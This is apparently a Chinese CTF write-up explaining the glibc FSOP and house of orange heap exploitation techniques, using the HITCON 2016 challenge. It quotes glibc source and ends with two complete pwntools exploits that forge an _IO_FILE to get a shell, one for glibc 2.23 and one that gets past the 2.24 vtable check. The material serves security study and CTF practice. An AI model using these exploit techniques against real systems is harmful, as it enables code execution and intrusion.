IO_FILE——FSOP、house of orange

狒猩橙發表於2022-01-19

FSOP 是 File Stream Oriented  Programming 的縮寫。所有的 _IO_FILE 結構會由 _chain 欄位連線形成一個連結串列,由 _IO_list_all 來維護。而 FSOP 的核心思想就是劫持通過 _IO_list_all 的值來偽造連結串列和其中的 _IO_FILE 項。除了偽造資料,還有一點就是要想辦法去執行,FSOP 選擇的是觸發錯誤來 get shell。

用到的函式是 malloc_printerr

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

可以看到 malloc_printerr 又呼叫了 __libc_message 這個函式,繼續跟進

void
__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
............
va_end (ap); if (do_abort) { BEFORE_ABORT (do_abort, written, fd); /* Kill the application. */ abort (); } }

發現 __libc_message 會呼叫 abort() 函式來結束程式

/* Cause an abnormal program termination with core-dump.  */
void
abort (void)
{
  struct sigaction act;
  sigset_t sigs;

  /* First acquire the lock.  */
  __libc_lock_lock_recursive (lock);

  /* Now it's for sure we are alone.  But recursive calls are possible.  */

  /* Unlock SIGABRT.  */
  if (stage == 0)
    {
      ++stage;
      if (__sigemptyset (&sigs) == 0 &&
      __sigaddset (&sigs, SIGABRT) == 0)
    __sigprocmask (SIG_UNBLOCK, &sigs, (sigset_t *) NULL);
    }

  /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }

  /* Send signal which possibly calls a user handler.  */
  if (stage == 2)
...........

abort() 函式又會呼叫 fflush(NULL)

#define fflush(s) _IO_fflush (s)

fflush 被巨集定義為 _IO_fflush

_IO_fflush (_IO_FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();

_IO_fflush 又會執行 _IO_flush_all ()

int
_IO_flush_all (void)
{
  /* We want locking.  */
  return _IO_flush_all_lockp (1);
}
libc_hidden_def (_IO_flush_all)

_IO_flush_all () 又繼續執行 _IO_flush_all_lockp()

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
    _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;
...........
_IO_flush_all_lockp 會把 _IO_list_all作為連結串列頭開始遍歷,並把當前節點作為 _IO_OVERFLOW 的引數。
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
_IO_OVERFLOW 是 vtable 中的第四項。
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
我們知道 IO_FILE的結構如下

struct
_IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };

這裡會用 _chain 欄位(x64的偏移為0x68)連線下一個結構體,從而形成一個單向連結串列。

 

FSOP 最經典的例題應該就是 house of orange,下面藉助 houseoforange_hitcon_2016 來講FSOP

但house of orange 分為兩部分,前一部分是在沒有 free 函式的情況下實現 free 的效果,另一部分是 FSOP

那我們先講前一部分

在申請的堆塊大小大於 top chunk的大小時會呼叫 sysmalloc 來分配

 

 /*
     If have mmap, and the request size meets the mmap threshold, and
     the system supports mmap, and there are few enough currently
     allocated mmapped regions, try to directly map this request
     rather than expanding top.
   */

  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
      && (mp_.n_mmaps < mp_.n_mmaps_max)))
    {
      char *mm;           /* return value from mmap call*/

    try_mmap:

如果申請大小 > (unsigned long) (mp_.mmap_threshold) 就會直接 mmap 出一塊記憶體。

  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));
............
          if (old_size >= MINSIZE)
            {
              set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
              set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
              set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
              _int_free (av, old_top, 1);
            }

另一種是會先把原來的 top chunk free 進 unsorted bin。但是要滿足幾個條件:

1、(unsigned long) (old_size) >= MINSIZE

2、 prev_inuse (old_top) = 1

3、 ((unsigned long) old_end & (pagesize - 1)) == 0)

所以我們通過溢位把 top chunk 的 size 改小即可,並且注意記憶體頁對齊。

我們再通過 add 一個 large bin 大小的堆,來洩露 libc_base , heap_base。

 

 

現在是後一部分的FSOP

我們可以利用 unsorted bin attack 去劫持 _IO_list_all 指向 main_arena + 88 的位置處,但是其內容我們卻不可控制,那我們把他看作 _IO_FILE 結構體,利用他的 _chain欄位來指向我們可控的記憶體處,main_arena + 88 + 0x68 = main_arena + 0xC0 ,那裡恰好儲存著大小為 0x60大小的 small bin 的第一個 chunk 地址。所以我們把 unsorted bin 的 size 改為 0x60,然後再發生 unsorted bin 遍歷的時候,這個 unsorted bin 就會鏈入 main_arena + 0xC0 處。我們把 fp的第一個引數改為 /bin/sh\x00 ,vtable->_IO_OVERFLOW 改為 system 函式即可。而 main_arena 處的 fp->_mode 值不滿足要求,會通過 _chain 跳到我們下一個結構體,也就是我們剛剛偽造的資料處。

但是我們還要繞過一下檢查:

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

 

有兩種方法:

一是:1. fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

二是:1._IO_vtable_offset (fp) == 0 && _IO_vtable_offset (fp) == 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

 

 我選擇滿足第一個條件。

當然想滿足第二個把 _wide_data 的值改為 fp - 0x8 -0x8 = fp - 0x10 即可,因為 fp->_IO_read_end > fp->_IO_read_ptr

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};
#endif
struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

附上exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

#s = remote('node4.buuoj.cn',25703)
#libc = ELF('./libc-2.23.so')
s = process('./houseoforange_hitcon_2016')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(length,name):
    s.recvuntil(b'Your choice : ')
    s.sendline(b'1')
    s.recvuntil(b'Length of name :')
    s.sendline(str(length))
    s.recvuntil(b'Name :')
    s.send(name)
    s.recvuntil(b'Price of Orange:')
    s.sendline(b'123')
    s.recvuntil(b'Color of Orange:')
    s.sendline(b'2')

def show():
    s.recvuntil(b'Your choice : ')
    s.sendline(b'2')

def edit(length,name):
    s.recvuntil(b'Your choice : ')
    s.sendline(b'3')
    s.recvuntil(b'Length of name :')
    s.sendline(str(length))
    s.recvuntil(b'Name:')
    s.send(name)
    s.recvuntil(b'Price of Orange:')
    s.sendline(b'123')
    s.recvuntil(b'Color of Orange:')
    s.sendline(b'2')

add(0x10 ,b'a')
payload = b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)
edit(len(payload) ,payload)

add(0x1000 ,b'b')
add(0x400 ,b'c')

show()
s.recvuntil(b'Name of house : ')
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5163
success('libc_base=>' + hex(libc_base))
edit(0x10 ,b'd'*0x10)
show()
s.recvuntil(b'd'*0x10)
heap_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success(hex(heap_base))

_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']

fsop = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)
#unsorted bin attack makes _IO_list_all point to main_arena+88
#0x61 is aimed at making fake_chain (main_arena + 88 + 0x68) point to fake_IO_FILE (controllable area)
fsop+= p64(0) #write base
fsop+= p64(1) #write ptr  fp->_IO_write_ptr > _IO_write_base
fsop = fsop.ljust(0xd8,b'\x00')

vtable_addr = heap_base + 0x4f0 + 0xd8 + 0x8

fsop+= p64(vtable_addr)
fsop+= p64(0) #__dummy
fsop+= p64(0) #__dummy2
fsop+= p64(0) #__finish
fsop+= p64(system_addr) #_IO_OVERFLOW

payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsop
gdb.attach(s)
edit(len(payload),payload)
s.recv()
#gdb.attach(s)

s.interactive()

 以上就是2.23的house of orange,但是由於在 2.24的glibc中加入了vtable check導致這種偽造虛表的方法不再可行,但同時也出現了新的利用手法。而且利用向下相容並且更為簡單。

我們先來看一下glibc 2.24里加入的對 vtable 的檢查。

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

會檢查 vtable 是否在 __start___libc_IO_vtables 和 __stop___libc_IO_vtables 之間。故我們之前任意偽造 vtable 的方法失效了。隨及出現了一種新的利用方法,及使用 vtable 內的地址來作為 vtable 的地址。大致可以使用兩個結構體: _IO_str_jumps 或 _IO_wstr_jumps ,他們會呼叫  _IO_str_overflow 。

我們這裡以 _IO_str_jumps 來作為例子介紹。_IO_str_jumps 函式表:

pwndbg> p _IO_str_jumps
$1 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7f5e537abfb0 <_IO_str_finish>,
  __overflow = 0x7f5e537abc90 <__GI__IO_str_overflow>,
  __underflow = 0x7f5e537abc30 <__GI__IO_str_underflow>,
  __uflow = 0x7f5e537aa610 <__GI__IO_default_uflow>,
  __pbackfail = 0x7f5e537abf90 <__GI__IO_str_pbackfail>,
  __xsputn = 0x7f5e537aa640 <__GI__IO_default_xsputn>,
  __xsgetn = 0x7f5e537aa720 <__GI__IO_default_xsgetn>,
  __seekoff = 0x7f5e537ac0e0 <__GI__IO_str_seekoff>,
  __seekpos = 0x7f5e537aaa10 <_IO_default_seekpos>,
  __setbuf = 0x7f5e537aa940 <_IO_default_setbuf>,
  __sync = 0x7f5e537aac10 <_IO_default_sync>,
  __doallocate = 0x7f5e537aaa30 <__GI__IO_default_doallocate>,
  __read = 0x7f5e537abae0 <_IO_default_read>,
  __write = 0x7f5e537abaf0 <_IO_default_write>,
  __seek = 0x7f5e537abac0 <_IO_default_seek>,
  __close = 0x7f5e537aac10 <_IO_default_sync>,
  __stat = 0x7f5e537abad0 <_IO_default_stat>,
  __showmanyc = 0x7f5e537abb00 <_IO_default_showmanyc>,
  __imbue = 0x7f5e537abb10 <_IO_default_imbue>
}

我們看一下其中的 _IO_str_finish 函式

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

我們可以看出,若符合條件這個函式會把 (_IO_strfile *) fp)->_s._free_buffer) 當作函式指標來直接呼叫,並且把 fp->_IO_buf_base 當成他的引數。(_IO_strfile *) fp)->_s._free_buffer) 從 IDA 裡分析或者用 gdb 除錯可知其實是 fp + 0xe8  的位置。那我們先把 vtable 的值改為 _IO_srt_jums - 0x10 ,再把 fp + 0xe8 放上 system,_IO_buf_base 放上 /bin/sh 的地址,即可getshell。由於不需要偽造虛表,這裡還並不需要洩露 heap_base。值得注意的是 _IO_str_jumps 並不是匯出符號,我選擇的是直接用 gdb 來看他的偏移。

附上exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

#s = remote('node4.buuoj.cn',25703)
#libc = ELF('./libc-2.23.so')
s = process('./houseoforange_hitcon_2016')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(length,name):
    s.recvuntil(b'Your choice : ')
    s.sendline(b'1')
    s.recvuntil(b'Length of name :')
    s.sendline(str(length))
    s.recvuntil(b'Name :')
    s.send(name)
    s.recvuntil(b'Price of Orange:')
    s.sendline(b'123')
    s.recvuntil(b'Color of Orange:')
    s.sendline(b'2')

def show():
    s.recvuntil(b'Your choice : ')
    s.sendline(b'2')

def edit(length,name):
    s.recvuntil(b'Your choice : ')
    s.sendline(b'3')
    s.recvuntil(b'Length of name :')
    s.sendline(str(length))
    s.recvuntil(b'Name:')
    s.send(name)
    s.recvuntil(b'Price of Orange:')
    s.sendline(b'123')
    s.recvuntil(b'Color of Orange:')
    s.sendline(b'2')

add(0x10 ,b'a')
payload = b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)
edit(len(payload) ,payload)

add(0x1000 ,b'b')
add(0x400 ,b'c')

show()
s.recvuntil(b'Name of house : ')
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5163
success('libc_base=>' + hex(libc_base))

_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
_IO_strn_jumps = libc_base + 0x3c37a0
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()

fsop = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)
#unsorted bin attack makes _IO_list_all point to main_arena+88
#0x61 is aimed at making fake_chain (main_arena + 88 + 0x68) point to fake_IO_FILE (controllable area)
fsop+= p64(0)          #write base
fsop+= p64(1)          #write ptr  fp->_IO_write_ptr > fp->_IO_write_base
fsop+= p64(0)          #write end
fsop+= p64(binsh_addr) #buf base
fsop = fsop.ljust(0xd8,b'\x00')
fsop+= p64(_IO_strn_jumps - 0x8) #vtable
fsop+= p64(0) #_IO_FILE + 0xE8
fsop+= p64(system_addr)

payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsop

edit(len(payload),payload)
s.recv()
#gdb.attach(s)

s.interactive()

這就是 2.24到2.26的方法,當然2.24之前也可以使用。由於2.27之後不再呼叫 abort() 來結束程式,故2.26以後的版本便要另尋他法。

此外house of orange 的成功率只有 1/2 ,因為只有在 libc 基址的低32位為負(及 > 0x80000000)時才會跳過第一步檢查,第二步才會進入我們剛剛佈置的環節。

 

參考連結:

https://www.anquanke.com/post/id/87194

https://zhuanlan.zhihu.com/p/53633514

https://zhuanlan.zhihu.com/p/53633514

https://blog.csdn.net/qq_39153421/article/details/115327308

http://t.zoukankan.com/luoleqi-p-13419069.html

https://blog.csdn.net/A951860555/article/details/116425824

https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop

 

相關文章